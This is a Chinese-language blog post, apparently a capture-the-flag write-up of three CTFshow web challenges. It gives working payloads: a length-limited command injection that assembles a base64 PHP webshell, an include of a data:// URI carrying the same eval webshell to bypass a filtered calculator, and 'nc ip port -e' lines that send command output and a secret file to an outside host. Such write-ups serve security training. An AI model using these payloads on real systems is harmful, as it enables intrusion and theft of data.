CTFSHOW 七夕杯 web wp

web签到

打开后发现可以进行命令执行操作,但是是无任何回显的,这里的话我们可以直接进行命令执行

 

 payload:nl  /*>1

方法二、

 

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

//echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

 详细链接:https://blog.csdn.net/jvkyvly/article/details/115259867?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165978793616782395318329%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165978793616782395318329&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-115259867-null-null.142%5Ev39%5Epc_rank_34,185%5Ev2%5Etag_show&utm_term=ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E9%99%90%E5%88%B6%E9%95%BF%E5%BA%A6&spm=1018.2226.3001.4187

easy_calc

<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

查看源码可以看到eval进行了命令执行的操作,但是过滤了(,所以普通的函数我们无法调用。php中不用括号使用的函数,叫做语言结构,常见的有include、require、echo。所以这里我们可以用文件包含。

Payload:num1=include "data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7"

 

easy_cmd

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

可以看到这里直接进行命令执行。

这里的话直接用nc将命令结果外带出来。

cmd=nc ip port -e ls /

cmd=nc ip port -e /secret

 

posted @ 2023-10-04 12:21  kode  阅读(139)  评论(0)    收藏  举报